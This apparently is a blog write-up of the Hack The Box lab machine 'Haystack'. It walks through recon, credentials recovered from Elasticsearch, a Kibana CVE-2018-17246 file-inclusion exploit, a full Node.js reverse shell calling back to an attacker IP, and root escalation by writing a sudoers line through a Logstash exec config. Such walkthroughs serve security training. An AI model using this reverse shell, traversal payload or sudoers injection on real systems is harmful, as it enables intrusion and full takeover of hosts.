HTB: Haystack

Details

This machine is Haystack from Hack The Box

Recon

Start by looking for ports

root@kali:~# nmap -sV -p- -T4 10.10.10.115
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 14:25 EDT
Nmap scan report for 10.10.10.115
Host is up (0.033s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    nginx 1.12.2
9200/tcp open  http    nginx 1.12.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.07 seconds

User

Port 80 first http://10.10.10.115/

Screenshot 1

Then port 9200 http://10.10.10.115:9200/

Screenshot 2

I saved the image from port 80 and took a look

root@kali:~# strings needle.jpg 
JFIF
Exif
paint.net 4.1.1
UNICODE
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
    #3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
[SNIP]
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

Decoded the base64

root@kali:~# echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
la aguja en el pajar es "clave"

Translate leads to

the needle in the haystack is "key"

I took a look at the elastic search

curl -X GET http://10.10.10.115:9200/_search | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2959  100  2959    0     0  33247      0 --:--:-- --:--:-- --:--:-- 33247
{
   "timed_out" : false,
   "_shards" : {
      "skipped" : 0,
      "successful" : 11,
      "total" : 11,
      "failed" : 0
   },
   "took" : 7,
   "hits" : {
      "hits" : [
         {
            "_index" : ".kibana",
            "_type" : "doc",
            "_id" : "config:6.4.2",
            "_source" : {
               "type" : "config",
               "config" : {
                  "buildNum" : 18010,
                  "telemetry:optIn" : false
               },
               "updated_at" : "2019-01-23T18:15:53.396Z"
            },
            "_score" : 1
         },
         {
            "_source" : {
               "account_number" : 25,
               "state" : "PA",
               "address" : "171 Putnam Avenue",
               "lastname" : "Ayala",
               "gender" : "F",
               "employer" : "Filodyne",
               "balance" : 40540,
               "firstname" : "Virginia",
               "age" : 39,
               "city" : "Nicholson",
               "email" : "virginiaayala@filodyne.com"
            },
            "_score" : 1,
            "_id" : "25",
            "_type" : "account",
            "_index" : "bank"
         },
[SNIP]

Nothing useful, so I tried the hint before, searching for the word clave

root@kali:~# curl http://10.10.10.115:9200/_search?q=clave | json_pp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   459  100   459    0     0   4371      0 --:--:-- --:--:-- --:--:--  4330
{
   "took" : 41,
   "_shards" : {
      "successful" : 11,
      "skipped" : 0,
      "failed" : 0,
      "total" : 11
   },
   "timed_out" : false,
   "hits" : {
      "hits" : [
         {
            "_id" : "45",
            "_source" : {
               "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
            },
            "_index" : "quotes",
            "_type" : "quote",
            "_score" : 5.9335938
         },
         {
            "_id" : "111",
            "_index" : "quotes",
            "_source" : {
               "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
            },
            "_type" : "quote",
            "_score" : 5.3459888
         }
      ],
      "max_score" : 5.9335938,
      "total" : 2
   }
}

The words have base64, so I decoded them

root@kali:~# echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
user: security 

root@kali:~# echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
pass: spanish.is.key

So I have creds, which I tried on ssh

root@kali:~# ssh security@10.10.10.115
[security@haystack ~]$ 

Get the flag

[security@haystack ~]$ ls -la
drwx------. 2 security security     129 Jul 14 05:20 .
drwxr-xr-x. 3 root     root          22 Nov 28  2018 ..
lrwxrwxrwx. 1 root     root           9 Jan 25 12:14 .bash_history -> /dev/null
-rw-r--r--. 1 security security      18 Apr 10  2018 .bash_logout
-rw-r--r--. 1 security security     193 Apr 10  2018 .bash_profile
-rw-r--r--. 1 security security     231 Apr 10  2018 .bashrc
-rwxrw-r--. 1 security security 4468984 Jul 14 05:20 pspy64
-rw-rw-r--. 1 security security     383 Jul 14 05:16 shell.js
-rw-r--r--. 1 security security      33 Feb  6 22:11 user.txt

[security@haystack ~]$ cat user.txt
[REDACTED]

Root

After some enum I came across a potential vuln in Kibana which is part of the ELK stack. A git repo explained the vuln https://github.com/mpgn/CVE-2018-17246, so I used vi to make a file called shell.js in /tmp that contained the following

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4444, "10.10.14.35", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

So I set a listener

root@kali:~# nc -nlvp 4444

And triggered it

http://10.10.10.115:9200/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js

Didn't work. Some more research reminded me that Kibana also runs a service on port 5601, so I tried it locally

[security@haystack kibana]$ curl "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js"

In the listener

connect to [10.10.14.35] from (UNKNOWN) [10.10.10.115] 45264
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0

Upgrade the shell

python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ 

I used scp to upload pspy64 and ran it

bash-4.2$ ./pspy64

A command periodically ran as root involving logstash, which made sense as that is part of ELK too, so I took a look in /etc/logstash/conf.d

bash-4.2$ ls -la
drwxrwxr-x. 2 root kibana  62 jun 24 08:12 .
drwxr-xr-x. 3 root root   183 jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf

bash-4.2$ cat input.conf
input {
    file {
        path => "/opt/kibana/logstash_*"
        start_position => "beginning"
        sincedb_path => "/dev/null"
        stat_interval => "10 second"
        type => "execute"
        mode => "read"
    }
}

bash-4.2$ cat filter.conf
filter {
    if [type] == "execute" {
        grok {
            match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
        }
    }
}

bash-4.2$ cat output.conf
output {
    if [type] == "execute" {
        stdout { codec => json }
        exec {
            command => "%{comando} &"
        }
    }
}

So it reads input from

/opt/kiabana/

Any file named with logstash_* will be used, it then passes it to a filter to check if it matches

Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}

Which in English is

Execute \ s * command \ s *: \ s +% {GREEDYDATA: command}

So I tested this

bash-4.2$ echo "Ejecutar comando: touch /tmp/spanishTest" > /opt/kibana/logstash_test

When it next ran

bash-4.2$ ls -la /tmp 
[SNIP]
-rw-r--r--.  1 root     root           0 jul 14 07:48 spanishTest
[SNIP]

I had root RCE, so I made myself a sudoer

bash-4.2$ echo "Ejecutar comando: echo 'kibana ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" > /opt/kibana/logstash_sudo

I watched it run in pspy64

2019/07/14 08:47:23 CMD: UID=0    PID=17977  | sh -c echo 'kibana ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers & 

So I checked if it worked

bash-4.2$ sudo -l
User kibana may run the following commands on haystack:
    (ALL) NOPASSWD: ALL

So root time

bash-4.2$ sudo su
[root@haystack tmp]# 

And now the flag

[root@haystack tmp]# cd /root
[root@haystack ~]# ls -la
dr-xr-x---.  3 root root  179 jun 20 11:05 .
dr-xr-xr-x. 17 root root  224 nov 28  2018 ..
-rw-------.  1 root root 1407 nov 28  2018 anaconda-ks.cfg
lrwxrwxrwx.  1 root root    9 ene 25 12:13 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 dic 28  2013 .bash_logout
-rw-r--r--.  1 root root  176 dic 28  2013 .bash_profile
-rw-r--r--.  1 root root  176 dic 28  2013 .bashrc
-rw-r--r--.  1 root root  100 dic 28  2013 .cshrc
drwxr-xr-x.  3 root root   19 nov 28  2018 .gem
-rw-------.  1 root root   33 feb  6 22:12 root.txt
-rw-r--r--.  1 root root  129 dic 28  2013 .tcshrc
-rw-------.  1 root root 5758 jun 20 11:05 .viminfo

[root@haystack ~]# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *